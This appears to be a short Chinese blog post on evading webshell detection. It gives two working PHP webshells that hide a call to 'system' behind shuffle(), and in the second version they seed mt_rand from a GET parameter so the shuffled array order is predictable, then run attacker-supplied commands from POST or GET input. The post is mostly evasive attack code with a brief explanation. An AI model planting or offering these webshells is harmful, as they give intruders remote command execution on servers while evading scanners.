记一次学习--webshell绕过(利用清洗函数)

目录

样本

样本修改


样本

php 复制代码
<?php
$a = array("t", "system");
shuffle($a);
$a[0]($_POST[1]);

通过 shuffle 函数打乱数组,然后通过$a[0]取出第一个元素,打乱后第一个元素可能是t也可能是system。然后再进行POST传参进行命令执行。

这里抓包可以正常执行

样本修改

对于shuffle函数来说,他的随机是伪随机,我们可以通过对其代码的分析然后预测数组中元素打乱的规律。对于sheuffle来说底层调用的是mt_rand来生成随机值,以次控制打乱的数组中的元素的顺序。然后对于mt_rand来说当他的种子定好他的随机值就不会发生改变了。

php 复制代码
<?php
$arr = array("t","a","s","system");
function shift(&$arr){
mt_srand($_GET[0]);
shuffle($arr);
}
shift($arr);
$arr[2]($_GET[1]);
相关推荐
得物技术20 分钟前
得物个人信息保护社会责任报告
安全
Xudde.26 分钟前
friendly靶机渗透
笔记·学习·安全·web安全·php
timeweaver29 分钟前
React Server Components 的致命漏洞CVE-2025-55182
前端·安全
骥龙1 小时前
5.15、未来已来:AI安全的发展趋势与伦理思考
人工智能·安全
拼好饭和她皆失1 小时前
Java学习---Arrays类
java·开发语言·学习
代码游侠1 小时前
学习笔记——GDB调试工具
linux·开发语言·笔记·学习
行走的夜1 小时前
高质量测试用例设计:金字塔模型+系统化工作流+方法体系+改进机制
学习·测试用例
思成不止于此1 小时前
MySQL 约束详解:保证数据完整性的核心机制
数据库·笔记·学习·mysql
九千七5261 小时前
sklearn学习(5)线性回归和逻辑回归
人工智能·学习·机器学习·逻辑回归·线性回归·sklearn
职业码农NO.11 小时前
架构模型:企业架构、技术架构、C4模型、TOGAF、互联网模型优缺点分析与学习
学习·架构·系统架构·软件工程